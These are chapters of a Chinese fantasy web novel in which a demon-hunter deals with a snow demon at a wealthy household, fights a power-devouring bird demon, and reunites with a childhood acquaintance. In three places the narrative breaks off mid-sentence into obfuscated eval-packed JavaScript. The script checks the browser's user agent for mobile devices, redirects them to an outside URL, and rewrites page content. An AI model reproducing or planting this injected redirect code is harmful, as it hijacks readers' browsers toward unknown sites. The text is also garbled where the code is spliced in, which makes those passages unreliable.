《给捉妖师一颗心》 2. 杜府有妖 杜府内里景致风雅,青砖长廊来回交错,通往各处小院,两侧间杂些名贵花木,伴着长廊延伸至深处,尽显曲径通幽之意。 会客的主屋居中,杜老爷正等在里面,见到酽白进来,忙起身相邀。 自她踏进杜府之际,就已经察觉到了浅淡妖气,只可惜时间久远,无法分辨是什么妖了。 从捉妖师嘴里得证事实后,杜老爷的双腿软成了面条,他行商多年,也算见过些大风大浪,可那终究是与人打交道,这鬼怪之事可不是他能处理的。 “烦请道长帮帮忙,救我杜家老小啊。”杜老爷惊恐发声,对着她俯身拱手相求。 酽白立刻弯腰扶起他,将他双手按下。 “杜老爷放心,除妖乃我本分,定当全力而为。” 即便得到信誓旦旦的保证,杜老爷也仍然心有余悸,恍觉自己不太舒服,无奈只能让下人带着酽白去安置。 这下可好,省了房钱跟饭钱不说,还会得到一笔报酬。她当即回去退了客房,拎着行李在杜府落脚了。 她先是在府中转了一圈,见到妖怪的下人一一描述自己看到的情形,结合他们口中的冰室、阴凉偏院来看,出现在杜府的正是昨日的雪妖。 只是雪妖虽常来府中,却未曾犯下杀戮,往往下人们一出现她就溜走了,如此看来倒也不算太坏。 枰溪镇位置偏南,且已经进入夏季,按理来说雪妖是不可能在这里出现的,他们只能在低温环境里存活,即便侥幸待在这里也难长久维持生命。 雪妖既然常来杜府,必然是有东西吸引她,那到底是什么呢?下人说怪事最多的地方是冰室,莫非她也是来避暑的? 昨日撞见雪妖的画面适时浮现在脑海里,她的身体往外沁水又异常虚弱的模样,确实像耐受不住暑日。杜府有冰室,对她的诱惑力不小,这大概就是原因所在。 虽说她没犯下大错,但终不能用阖府众人的命去赌一只妖的善,酽白依然打算将她抓住。 事情已经不再棘手了,雪妖需要寒气,短时日内定会再来杜府,届时守株待兔等着抓她,此桩差事即可完美收工。 她当即动手准备,在各处卧房外贴上驱妖符,以防雪妖闯进去伤人,又布下无形阵法用来牵制妖,只待她踏入便再也别想出去了。 一通忙活完已是入夜,杜家待客有礼,客房较之小客栈舒适得不只一星半点。然而躺在宽大软床上,酽白却出人意料的睡不习惯,辗转反侧久久未曾入眠。 夜深人静正是思维清奇的时候,不免又想到了白日里的异处,虽说府里只残留下一点妖气,但其中成分复杂,像是不止一种妖。此处不过是普通人的居所,未免太讨妖怪喜欢了,竟让他们接连来拜访。 历经数次翻滚后,睡意终于姗姗来迟,酽白正迷糊浅睡,倏尔醒转来,双眼注视着门外,黑夜里飘散着不同寻常的气息。 有妖进入杜府了! 之后,阵法开启,她感知到灵力的强烈波动。 立时翻身坐起,携剑夺门而出,来到四通八达的长廊上,妖怪并不见踪影,酽白飞身跃上屋顶,双眼找寻着目标。 雪妖夜袭杜府,的确是来吸收寒气的。可今日刚进入杜府,一股无形灵力缠上来压制住她,这是她害怕且讨厌的正道法力,顾不得多想,忧惧间就要越墙而出。 才刚刚飞身至墙头,那股无形力就圈住她身体,将她死死拖住。酽白赶来正看见这一幕,打过照面,正是前次遇见的雪妖。没有妖不怕捉妖师的,雪妖也不例外,惊恐之下四处乱窜。 偏偏走廊上有个不怕死的小丫鬟,躲在圆柱子后面探头看热闹,雪妖也发现了她,用尽全力奔去,妄图拿住她为自己换得一线生机。 酽白当然不会给她机会,手中照明的红烛抛出,妖怪因为惧火而慌乱闪开,被拦在半路。 紧随而来的是捉妖师的凌冽剑意,双鸣劈下,雪妖被砍出一道深可见骨的伤口,捂住肩膀往旁边花丛缩。 她的手臂上不见血液流出,只有一股清水渗落,在地上聚成一个小水坑。 酽白喝退丫鬟的间隙,雪妖垂死挣扎,不甘心的还想要逃跑,飞至半空试图撞破无形法阵,然而终究徒劳。 酽白踏树借力来到她身后,揪住她的脖子向后一扯,狠狠将她摔在地上。这一下,妖侧底起不来了。 自己又变强了?酽白不免腹诽,小妖看着厉害竟也挨不过一招么。 月上中天,院中有了些许亮光,酽白看清雪妖的狼狈模样。通身衣物湿哒哒的,裸露在外的皮肤也不断渗出水液,雪妖静静仰躺在地,细微挪动着肢体。 一切行动无不在诉说她很痛苦,自己刚才不过正常出招,她怎么就被打成这样了?带着疑问查看了她的身体,不过一日未见,雪妖居然失了妖力! “你的妖力呢?” 脸色苍白的妖已经无力开口,就连眼神也不复方才清明,四肢逐渐化作透明的水状,看来时日无多。 与她交手之际,酽白感知到她的妖力纯净,不染一丝恶气,足以说明并未害过人。且她这虚弱的样子,酽白少说也有点责任,不能见死不救啊。 从兜里掏出寄鸣珠,一颗透亮的无色圆珠。相传它是炼化数颗妖丹才得到的,不知怎么流落到师父手里,后来又传给了她。里面妖物无数,俱是酽白四处搜罗来的,有些犯了事被关在里面,有些单纯是把里面当成家了。 “此宝珠,能幻化万千世界,你若愿意,在你无法化形后,我可让你附于珠内,保你不死。” “只是那样的话,你往后行动必然受限,若是同意就吱一声。” 来杜府的路上,雪妖一路感受着生命的流逝,她的体内水声泠泠,不断向外流淌,尽管做好了死去的准备,也还是会心有不甘。捉妖师出现的那一刻,心更是跌落到深渊,抱着尽力伤害酽白的想法,全程莽撞出招。 现在将将闭眼之时方知可以活命,谁会不心动呢,求生是人的本能,妖又何尝不是,只要能活命,旁的事显得也不那么重要了。 雪妖点头同意,她的身体慢慢溶成水状,双眼泪珠滴嗒落下。等到进入寄鸣珠内的奇幻世界,她才真的放下心来,捉妖师真的是好人啊! 这一晚杜府看似平静,实则鲜有人睡着,大家一边祈祷妖怪不要找上自己,一边乞求酽白抓妖成功。 雪妖的事说清,可那丝复杂妖气还是不曾找到答案。酽白重新探寻杜府,直至傍晚,才明白症结所在。 凉亭中,杜家小姐在内纳凉,娇娇小姐天人之姿,奴仆环绕在侧,通身俱是高门贵女的气派。 杜小姐体内阴气浓盛,最是吸引妖怪,所以才不断有妖潜入杜府,吸食大补的阴气,这也导致她常年体弱,病痛缠身。 酽白给了她一个红布缝成的护身符,里面是一张黄符纸,附有自己的一丝法力,能盖住浓郁阴气,以防妖物再近她身。 至此,杜府的妖物肃清,此事落下帷幕。 夏日天光早,下人们早早开始劳作,均是放轻动静,生怕扰到主子们。酽白在一阵沙沙声中醒来,院里的丫鬟正在清扫。 今日没有赖床不起,妖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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数年前,砾妖族群历经劫难早已销声匿迹多年,她上一次见还是随师父去月湖的时候,一晃多年,砾妖居然重新现世了。 古书上记,砾妖为石头怪所化,他们极擅防御,能够化石为法器。但也有弱点,此类妖,心脏为命之本,若想除之,破其心脏,血尽即亡。 砾妖径直走向酽白,双手施法,不断挪动周围石块砸向她。捉妖师虽受了伤,但好歹也是灵力高强之辈,区区石块并不能奈她何。 虽不能一举拿下鹃鸟,但收拾小小砾妖还是不成问题,不等她先动手,鹃鸟率先叫停战局。 他震出体内的双鸣剑,抛向酽白,宝剑自不会伤主,老老实实飞过去待在她手里。 虽不知因为何故,但显然眼前这两妖已经联手,要打赢他们并抓走鹃鸟还是颇有难度。 两方就此僵持住,谁也没轻举妄动。 其实,联合一事还得从昨日抓雪妖说起。 砾妖在枰溪镇生活多年,平日里以人身混在城中,他叫柳殷照,雪妖是他好友。 昨日雪妖来杜府后就消失了,柳殷照来寻她时,在府外听说她被捉妖师抓走了,正要冲进杜府报仇,就被鹃鸟拦了下来。 单凭他自己杀不死捉妖师,鹃鸟趁机掌控了他的思想,诱他向捉妖师复仇。 仇恨占据柳殷照大脑,他未经思索欣然接受了鹃鸟的邀请,二人设计引来捉妖师,企图联手将她诛于此地。 但终究低估了对方的实力,即便是二对一的局面也打得颇为艰难。 3. 砾妖身死 砾妖挑明立场,走至鹃鸟身侧,狠厉的眼神落在酽白身上。 他率先出手,一把星石弓拉满了弦,白色流光箭以迅雷之势冲出,酽白抬剑抵挡,箭矢擦着剑身而过,粒粒火星在她蓝布衣上灼出破洞。 一箭之后又是一箭,她闪身游走在箭雨之中,身上也逐渐多出些伤口。再一次避过箭矢,冷不防撞上鹃鸟,酽白看着眼前放大的冷峻面庞,抬手一巴掌。 鹃鸟被扇歪了脸,顿时来了火气,咬牙切齿地握住剑身,酽白随即不能动弹。 这可不是妙事,为今之计只有松开双鸣,她空落的手掌合于胸前,两掌间凝出蓝色火球,接连打入鹃鸟身体内。 本该在他体内爆开的火球反常的哑了火,毫无动静,反倒是鹃鸟手中不知哪里来的两柄冰刺,齐齐没入酽白腹腔不见踪影。 酽白挥开他,后退之际抽出脚边掉落的箭矢,注入纯正灵力,重重插进鹃鸟的伤口内。疼痛袭来,他紧蹙浓眉,双眼充斥着杀意。 当妖的最怕正派的纯正灵力,充斥着灼热的阳气,在体内四处流窜,痛的鹃鸟连连发颤。 再看酽白,被鹃鸟体内迸发的强大气流震开,如秋后残叶跌落在地,寄鸣珠也在这时落出,径直滚向柳殷照的方向,他弯腰拾起,在珠子里感受到了雪妖的气息。 “雪箐……” 许是听见了熟悉的呼唤,雪妖意识转醒,“小柳哥?是你吗,小柳哥。” 柳殷照快步去到酽白身边,捉妖师受了重伤,半死不活的想要站起来,血液流进土里混成一团,湿濡带血的泥块又沾回身上,衣裳破碎不堪,透过破布可见皮肉。 他紧抓住酽白肩侧,怒吼道:“雪箐呢,你把她放出来,不然我杀了你!” 夏日强光照的人头晕目眩,耳边的声音忽近忽远,鹃鸟抚住伤口靠立在旁,小石妖不断摇晃她的肩膀,好像在说话,但酽白听不清。 “小柳哥别,不是这样的,我之前……”话音未落,雪箐因为虚弱不已,再度消失不见。 柳殷照一时有些拿不定主意,雪箐还活着?她怎么会在一颗珠子里,莫不是捉妖师拿她有别的用途? 他不知道是该继续听信鹃鸟的话,还是该助捉妖师降服他。可自己也是妖,刚刚又重伤了她,捉妖师会放过自己吗?纠结之中,酽白抬手收回寄鸣珠,雪箐的气息随之消灭。 身上满是伤口的姑娘再经不起折腾,柳殷照的迟疑引起鹃鸟的不满,他轻轻挥手,片片翎羽对着两人而来,连“盟友”的死活也不甚在意。 石块围挡成屏障,柳殷照挡住了攻击,靠坐在旁边的捉妖师清醒了些,砾妖是在帮她吗?这嘴脸变得也太快了点,“你……” 鹃鸟的攻击未停,柳殷照只能一直维持着石障,他是有机会逃跑的,但他不能走,且不说弥补自己的过错,他还得看着雪箐呢。 然而,终究是鹃鸟妖力更甚,他破开了柳殷照的石障。酽白迅速起身,一把掐住柳殷照的脖子,反手将他困在臂弯里,她得利用砾妖转移注意。 鹃鸟眼里流露出贪婪,砾妖的防御妖法实在是让他心动,“好妖法,留在你手里没用,不如,给我吧!”鹃鸟将注意力转到了柳殷照身上,打算先解决这只妖,之后再收拾捉妖师也不迟。 酽白一时有些无措,鹃鸟的行为堪称变脸大师,就这么不在意砾妖生死?人还在她手上呢。 柳殷照心生畏惧,他不敢赌捉妖师会不会杀了他,也不想与她为敌,只能向着鹃鸟投去急切的眼神,对他有企图的妖,怎么会在意他的生死,鹃鸟没有回应他,仍旧向着酽白冲了过来。 谁都没想到他疯得离谱,酽白面对猛烈的攻击闪躲不及,双双被打倒在地。柳殷照勉强起身,二人缠斗片刻,他不敌鹃鸟,很快被打趴在地,再无法动弹。 捉妖师咬牙缓过劲儿来,提剑上阵,鹃鸟趁势凝出数根冰凌,朝着她送去,被尽数躲过。 酽白这次看清了,“雪术法?原来,是你夺走了雪妖的妖力。” 鹃鸟笑而不语,接连出招困住对手,再一波冰凌倾洒而出,被柳殷照施法抵挡住了。不幸的是,他的妖力并未持续多久,在鹃鸟的强势攻击下,最终落败。 趁此时机,鹃鸟快速上手,想将砾妖的妖力吸走,但酽白万不会让他得逞,手臂勒住鹃鸟脖子,带着他向后移动。 酽白力气耗尽,难以调动灵力,只能靠着最简单的办法阻止他,但在妖力面前,一切凡人武力都是徒劳。 他快要挣脱之时,柳殷照抬手挽弓,箭尖带起劲风抵上鹃鸟咽喉,稍稍偏头,箭头避开咽喉插入旁边皮肉,鹃鸟拔出箭,独留一个血窟窿滋滋冒血。 这下彻底惹怒了他,妖力不要也罢,但痛楚是一定要还回去的。 一柄锐利冰刺脱手掷出,柳殷照方才那箭已是强撑,眼下再无抵挡之力,冰刺直直插进他的心脏处。 一切都太过突然了。 砾妖保持着后仰的姿态,冰凌尖端杵在地上,血与水瞬间交融,沿着光滑透亮的冰面流到地上,慢慢混在泥土里,异常惨烈。 酽白想救他,想要做点什么,古书上说,“……破其心脏,血尽即亡。” 止血,要捂住他的伤口,她推开鹃鸟,晃荡着走向柳殷照。插进他体内的冰凌过于粗大,难以分离出身体,酽白只好一手围住冰凌,一手去拉拽衣裳捂住,但仍旧有浓血从她指缝中涌出。 一片鲜血淋漓,砾妖是死了么? 鹃鸟不甘心,轻声摸索至酽白身后,手中一枚翎羽尖刺飞到了她后颈,就在刺入的前一刻,却见他意外的收手了。 他脸上神色异常,脑袋发出难以承受的疼痛。酽白察觉正要回头,眼前却黑暗一片,慢慢没了动作。 鹃鸟方才感受到自己的意识在慢慢消失,身体逐渐不受控制,手快过脑子先行打晕了酽白,脑中另一个声音响起,他不敢面对酽白。 短暂的痛苦异样后,他恢复正常,但与之前又不太一样了,蹲身在酽白面前,静看着她脸庞。 然后,伸出指尖在酽白稍干净点的左手心点了点,“捉妖师,记得来找我。” 须臾,他就此拂袖而去,独留酽白和被刺破心脏的小柳。 日头偏西,慢慢沉下天际,换星月高悬苍穹,枰溪镇又过去了一日。夜里沉静,四周仍无声响,入夜后有了微弱凉风,丝丝缕缕轻揉着酽白。 终于,躺地不起的捉妖师醒来,她记起了白日的惨事,赶忙扭头去看砾妖。不远处,柳殷照无声息的躺在那儿,周边血流成河,果然应了书上那句血尽而亡。 缓缓撑起身走去,其实看见冰凌插入他心脏那刻,就知道他再难活,然而眼下还是有些许惋惜。 虽说这妖听信谎言,意图杀她报仇,但好在迷途知返,又颇重情谊,着实不该这样死去。 冰化成水,柳殷照的身体平整落在地面,酽白替他拭去身上脏污,四下找了找,看到了后方那几颗野果树。 妖乃万事万物化形而来,他们死后身体会消散不见,再度回归于天地间。 砾妖也如此,酽白如今再难 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16546901|186744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 救他,只能替他寻处稍好些的地儿让他消散。她用术法托起砾妖的身体,一点点移动到野树下。 看妖的样子,应当年纪尚小,却要长眠此地,实乃悲痛憾事,酽白为他念了超度经文,只求他来生长久度日。 至此,鹃鸟再犯杀戮,酽白想要找到他的念头更甚,看他今日妖力又有所长,若不尽快抓住,只怕酿成大祸。 跪坐良久,直到天空月色消失殆尽,她才暗叹可惜踉跄着离去。只是漆黑夜色下,风吹落叶,一片绿叶掉落在柳殷照胸膛,隐有起伏。 云顶峰树木繁茂,月亮半隐后几乎摸不清路,酽白一脚深一脚浅的往前走,玄空之下,是她一个人的归程。 重新回到小客栈去,店里仍是小二在看店,老板为了省钱,整个一楼大堂只留了一支蜡烛,黑得不可视物。 “哐当……咚……”静夜里,这声音异常响亮,同时也惊得人心颤。 店小二鼾声骤断立刻转醒,举着唯一的蜡烛往门口方向照,瞧见了几步之外的人影,黑漆漆很是渗人。 那人影静静的立在门口,像是在看着他吧,店小二被吓得差点大叫,好在很快反应过来。他常常夜里看店,也知晓有些客人会在晚上来投宿,大着胆子往门边挪去。 随着蜡烛渐近,酽白借光低头找拌脚的罪魁祸首,一个圆圆的四脚木凳,应该是小二用来抵门的,屋里太黑她没看清,才不择路的撞了上去。 “呼——是姑娘啊,真是吓死个人,这么晚过来是?”夜色漆黑如浓墨泼下,小二没怎么看清酽白的狼狈模样,倒也没多问别的。 “住店,送点热水来。” 小二举着蜡烛在前方带路,酽白跟着上了楼,住的还是前几日的房间。 “姑娘可要吃食,后厨还温着好饭好菜。” 酽白刚历经生死,眼下无力的摇了摇头,也不管黑暗中对面的人是否看清了,一脚踏进屋里关了门。 “这么晚来……吃食也不要,还要热水……”在她这又赚不到多余的钱,小二只好嘀嘀咕咕的下楼去。 酽白走到床榻边,直挺挺倒下去,接连与妖打斗身体实在疲乏,精神也不济。 片刻之后,小二提着热水敲门:“姑娘嘞,水来了,放门口啊。” 酽白迷迷糊糊回答,掺着床沿起身慢慢挪步到门边,触到水已温凉,才发觉自己躺了多久。 热水洗去一身脏污,疲乏冲破束缚齐齐涌了上来。透过窗间缝隙向外看去,炎暑之际的长空星月漫天,闪烁着明亮光辉,明日又是大晴天。 窗户纸隔开外界混沌,酽白挨不住困顿,慢慢陷进了梦里,满室只余又短了一截的蜡烛还未静下。 次日清晨,楼下小摊贩早早准备晨食,叮叮当当的声音穿透纸窗,钻进酽白脑子里,将那些怪诞离奇的梦一点点挤了出去。 她躺在床上想起了昨日之景,鹃鸟拿走了雪妖的雪术法,之前在青鱼山时,青鱼妖也这样说过,基于特殊环境,青鱼妖修成的是快速暴涨的妖法。 山中灵气充足,植物生长快速,所以他的妖力能短时间内暴涨,虽不能长久维持,但也是很不要脸的能力了。 等等,暴涨?酽白想起之前遇见的小树精,他也是短时间内快速生长,提高灵力。 小树妖说这种灵力是鹃鸟传给他的,所以那时开始或者更早之际,鹃鸟就在四处吸取这些特殊灵力了? 酽白猛然意识到此事的严重紧迫,恨不得立刻找到鹃鸟,当即决定不等明日了,匆匆收好行囊再次追着鹃鸟而去。 4. 庭芜绿 离开枰溪镇时已是仲夏,这段时日来,鹃鸟不停歇的向东,酽白在后马不停蹄的追赶。 为着节省开支,她多宿于乡野荒林,难免有诸多不方便,好好的姑娘如今平白多了份野人的糙感。 其实,像她这般盛名在外的捉妖师,想赚钱是极容易的事,多的是高门贵户求她做法事,且为着封口,往往出价颇高。若非酽白实在排斥接这种活,也必然不会拮据度日。 脚下的山间小道亦有妙处,这些小路不过一掌宽,全是附近村民为了便捷踩出来的,让她省下了不少脚程。 山林荫蔽,毒辣骄阳穿不透层叠不尽的树叶,其下形成一个天然的隔热罩,偶尔微风四起,清幽凉意沁人心脾,倒是成了避暑圣地。 是日歇息时,酽白又拿出符纸探寻鹃鸟,自前日进入圻乡地界以来,符纸施法后的光影开始变淡,现下更是微弱难见,看来他就在这附近。 酽白此刻才敢放宽心,总算是找到了,这次万不能再让他逃走。休息之余,她又想起了初见鹃鸟时。 那日她太过匆忙,收完青鱼妖后就急着下山,却在半路被拦住。 鹃鸟算是有胆量,居然敢主动招惹捉妖师,他毫无保留的交代恶行,不在意的样子分明是在挑衅酽白,当时语气甚为轻佻,酽白至今没能忘掉。 “捉妖师,过去这么多年了,你瞧瞧还认得我吗?” 她只觉得这妖化形之际肯定把脑子也化掉了,分明从未见过面,扯什么这么多年了,谁跟他很熟啊。 但几次交手后,其中诡异慢慢显露,酽白对他确实感到有点熟悉。偏生鹃鸟又格外犯贱,好像颇希望被抓住,逃亡路上屡屡留下踪迹,种种行为令人作呕。 酽白想不明白他是什么心理,只能理解为妖的恶性吧。令人头疼的妖短暂占据思维后,便被她搁置在一旁。 前方有村落,先找个落脚地再行打算。 午时将至,村中人家皆是悄无声息,偶尔见庭院中有一两个人影,还都是些年老者,再往前走了些,酽白总算瞧见了一个中年男人,他正在院内摆弄着菜刀斧头等利器。 不待酽白上前询问,男人回过头瞧见了她,二人相视片刻,男人起身撑着拐上前,酽白才看清他左小腿缺失。 “姑娘是外乡人?不嫌弃就进来坐会儿,歇歇脚吧。” 面对邀请,酽白求之不得,推开半人高的院门走进去。 “便厚着脸向大哥讨些水喝了,多谢。”男人没有答话,看起来不欲多语,酽白只好按下心中疑虑,在一旁安静坐下。 不多时,男人端着盅水并几个半蔫的瓜果出来,沉默的递给酽白,等她堪堪饮尽杯中水,男人就急切开口催着她离去。 “姑娘要是歇好了,趁着天色还早往别处赶路吧,莫要在村里投宿。” “我瞧村中人户众多,还想着能求得个住所,不能投宿是何故啊?” 见她不听劝,男子也没了耐心,“为何?你没发现村里只有老人跟我这样的废物吗?但凡能走的人早逃了,你还是个不听劝的,让你走就赶紧离开,又不会害了你。” 大哥扫了眼酽白的配剑,轻嘲道:“就算你习武又如何,山里可是有个吃人的妖,先前去的厉害大师到今日也不见回来,你一个小姑娘难道就更厉害啦?等妖怪把你吃了可没地方哭去。” 酽白还想再打听,大哥却没了耐心等她开口,拄着拐一摇一摆的进屋了。她找的就是妖,哪里又会害怕呢,倒是想提醒大哥一句,妖可不怕生锈的菜刀斧头。 离开院子继续向前,直行百余步就出了村,抬头仰视是几座相连的高山,万物共生的热闹山林此刻却安静得诡异,其中活物气息甚少。 酽白正疑惑中,“答案”自己送上了门。 旁边小丛里声响窸窣不止,她悄悄摸上前,小施术法便抓住了青草精,等看清他容貌后,吓得猛然缩回手,唯有残留在指尖上的粘稠感始终无法抹去。 本应浑身青绿的草精全然不复常态,头发像是被火尽数燎去,稀稀疏疏没剩几缕,身上只余些杂草树叶遮身。 裸露在外的肌肤遍布带血的新鲜伤痕,部分伤口已经溃烂,流出的脓水混杂着黑灰,令人有些反胃。 他胆怯的蜷缩起身体,仍想躲到那从杂草后,酽白看他痛苦难耐,心里落下不忍,出声叫住他,替他治好了一身惨不忍睹的伤。 小草精被突如其来的救助感动到流泪,不待酽白问起就开口痛诉自己的苦难。 “你真是个好人,呜呜呜……太疼了,都没人能帮我……呜呜。” “姐姐,你不知道,山里那死鸟吸走我的法力,还用火烧我……他根本不把我当人看啊。” 酽白满头问号,你……确实不是人啊。 “好姐姐,你来得太及时了,还好你救了我,嗯哼哼哼……” 酽白看着这妖有些莫名其妙,怎么两三句话就成了他的好姐姐,他一只妖怎么好意思叫捉妖师姐姐。 极力遏制住动手的欲望,酽白抚上发疼的脑袋,仔细问小妖,“你说的可是一只鹃鸟?他在山里吗?” “你找他啊?可千万别去,他又凶又恶,抓走山里的妖吸食法力,还要杀死我们。” “我如今没了妖力与凡人无异,好不容易才偷摸着逃出来,姐姐,我们一起逃难吧。” 酽白没搭理,只告诫他快快离去,然后独自进了山。 山中难见妖怪精灵,她落脚踩断枯枝的声音异常清晰,死寂之感如同一张大网从四面八方围过来,酽白只身行走在无人之境,慢慢靠近隐匿在深处的危险。 不远处的古树下,酽白找到了鹃鸟,高大男子依旧是蓝裳绿袖,发间坠着翠羽,身形倒是更为消瘦了,看来吃那么多妖也不补嘛。 他精致面颊上不耐和厌烦一览无余,随他视线而去看到了另一只倒霉的妖,匍匐在地还不甘心的咒骂着鹃鸟。 从他口中得知鹃鸟叫炆提,名字倒确有一丝耳熟,但酽白还没来得及细想就被迫中断思绪。 地上的妖爬不动了,酽白蹬树飞身掠至炆提身前,一掌推出逼退他,快速抽出双鸣剑向前劈去,炆提旋身避开,法术打出一击被酽白反手挡下。 而后,他从袖中抛出数片羽毛利器,来势汹汹直扑酽白面门,捉妖师抬手结印及时抵挡住,却见炆提乍然近身,二人瞬间各自凝力,使出大招。 然,酽白旧伤未愈,炆提吸食妖力后实力大涨,情势即刻转换,若继续硬来肯定难敌他手。 于是,酽白被击退的瞬间,抽出符纸贴上他身,退开后念出灵诀,符纸之力瞬间爆开,蓝色光环束缚住他的手脚。 没等掌中灵火生起,炆提妖力瞬间暴涨,挣脱束缚,这正是青鱼妖的妖法。 现在的炆提就像个容器,体内收有各类妖的妖法,难怪短时间内已不能与他抗衡。 酽白行动间有些吃力,炆提刚刚冲着她旧伤处攻击,多少影响了她出手。他的强盛妖力不知残害了多少妖类,怪道山中不见别的妖物,原来都进他嘴里了。 双方喘过气,炆提展现灰色翅膀,偌大的灰羽扇起强风阵阵,酽白站不住脚,被劲风拍向后方。幸有树木在手侧,十指死死扣住树皮,才勉强定住身形。 酽白布下符阵试图困住他,不料还未成功便被破坏掉。面对来势汹汹的鹃鸟,酽白匆忙挥剑抵挡攻击。 他的利爪坚韧锋利,一来一回间差点挖下酽白血肉,不过炆提也没讨好,酽白趁被攻击时放弃抵挡,顺势刺中他的腹部。 二人都受了伤,局面再次陷入困境。 炆提不待停下,化出羽形法器迅速上前,用尽全力朝着酽白扑过来。 捉妖师没有后退,摸出腰间寄鸣珠,用它生成防御结界,只可惜还是晚了一步,法器打在酽白身上,寄鸣珠随后掉落在旁侧。 她吐出浓血,仍旧不顾性命的上前,口中默念法决,双鸣剑上晕染出蓝光,酽白身形与剑光凝聚合一,游走于鹃鸟周身。 剑刃划下根根羽毛,炆提宛如感受不到疼痛,嘴角挂着渗人的浅笑,刚才捉妖师的速度快到模糊,让他有了丝压力,这才是他感兴趣的对手嘛。 炆提闭目敛神,他在调动妖力,酽白落地之际,见他睁开双目,一副尽在把握的感觉。 他展开双手施展妖法,酽白站立的地方成为靶子,四周的树木枯枝不管大小,全都为他所用,接连向着酽白砸去。好在酽白反应够快,从容躲过重物攻击,顺带还将各物复归其位。 “妖物,你也就这点本事了吗?”酽白不忘嘲讽他,要不是她受了伤,拿下鹃鸟还不是轻而易举的事。 酽白有了把握,正计划如何收服他,谁知鹃鸟的下一波攻击却让她笑不出来。 炆提合掌,双手比划着酽白看不懂的招式,然后一股寒凉意直扑酽白,青葱山林内竟凭空出现了冰雪气,可现在不是夏天么? 酽白震惊之余,就见晶莹剔透的冰层封住双脚,抬脚不见动,等等她怎么不能动了?这好像是雪妖的雪术法? 难怪会有冰雪气息,死鸟居然能将别的术法融合在自己妖法中,他到底是走的哪门路数。 被禁锢的不安席卷酽白,她在冰层上打出一簇簇灵火,妄图烧化它,倒是有用就是慢了些。 酽白回头看被炆提重伤的妖,准备寻求帮助,才发现他早已逃得不见踪影,空旷无人的山中不奢求有人来帮忙,这下轮到她孤立无援。 炆提趁此时,抽出锋利翠羽针,夹在二指间甩向酽白,如同仍飞镖一样戏弄她。 尽管酽白在原地摇晃闪躲,但活动范围太小仍被击中,急促吸气忍痛,再不断施法躲避,炆提像是玩上了瘾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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姑娘也是捉妖师,出自古老宗门,与酽白一同被赞誉少年奇才。庭芜绿拖着受伤的酽白一路逃,直到身后再没追赶动静,二人才放心停下歇息片刻。 酽白靠在土堆边,拱手行礼道,“多谢庭道长相助。” 黄衣女子浅笑回声,并不似酽白的冷态。 “客气,游历至此见道长受难,自当出手相助。” 二人客套的你来我往后,双双陷入沉默,清幽山林中只剩两道微重的喘息声。 这并非二人初见,多年前在小尧涧时,酽白见到过师父为数不多的朋友,一位叫镜陆的正派道长。 那时,小酽白恭敬的叫人行礼后,看见了藏在镜陆道长身后的胖姑娘,她双手紧紧捂住嘴不放。 镜陆见酽白盯着他身后瞧了好久,才记起身后的小人,拉过胖姑娘介绍道,“这小丫头叫庭芜绿,是我要带回衡進宗的弟子。” 见她捂住嘴,眼中明了,笑着恐吓她:“又不听话,偷偷吃糖了?小芜啊你且多吃些,等回宗门的时候牙差不多也坏了,到时候叫你师兄全给你拔咯。” 这话果真有效,小芜立马就将嘴里的两块糖吐了出来。酽白师父在一旁直发笑,“镜陆兄可别吓小丫头了,让我徒儿带她去玩,我二人喝酒如何?” 那是酽白第一次见到庭芜绿,小酽白根本想不到,眼前满嘴糖渍的胖丫头后来成了颇厉害的捉妖师。 庭芜绿比酽白更活泼,跟在她身后满嘴小酽姐姐的叫着,倒叫酽白想起了家中的小妹妹,不知道是不是会走路了,会不会想起那个喜欢摸她脸的三姐。 酽白嘴上虽然不说,可心里听见这句姐姐也还是美极了。 镜陆在小尧涧待了半月之久,两个小姑娘临别还说下次再一起玩,但哪知此后数年二人都未相见。 再见面时是在镜陆道长的丧礼上,庭芜绿伤心流泪,酽白搂着她安慰,那次只随师父匆匆待了一日就离开了,小姑娘们又约定互相写信。 照旧是没写几次,各自就因忙于练功修习断了书信,慢慢的也就不来往了,今日见面早已不如小时候那般相熟。 热风过面颊,静谧山林中传来杂音,随后是鸟翅振动不止,不等酽白开口,庭芜绿主动扶住她往山外走去。 刚出山,迎面闯上来一个普通人,见着两位姑娘,热情的上前,“二位姑娘瞧着不太好,可是遇见山里的大妖了?” “确是遇见妖了,我朋友受了伤正要离开,这位大哥也快快远离危险处吧。”他既知山里有妖,那也没什么好瞒的,庭芜绿笑着如实回答。 谁知这话正合了他的意,“姑娘们不嫌弃就去我家休养吧,这妖不会追上来的。附近没什么客店,前面的村庄都是些老人,怕是不太方便。” 两个姑娘对视片刻,最终没有拒绝,反正她们身负术法,即便真发生点什么,也该是眼前的普通人比较有危险。 5. 吸食妖物 走了约莫一刻钟,几人到了一处竹篱小院,院子很是荒芜,一眼看完四下空落,整个院里只有一颗不知名的树木拔地倚天,矮平房屋与参天树木是十分的不和谐。 等了半晌,男子才在门边干草堆里翻找出钥匙,若不是瞧他从容开锁,酽白真要怀疑这人是否为盗贼。男子回头,显然也瞧出了二人的疑虑,咧开嘴尴尬的笑了笑。 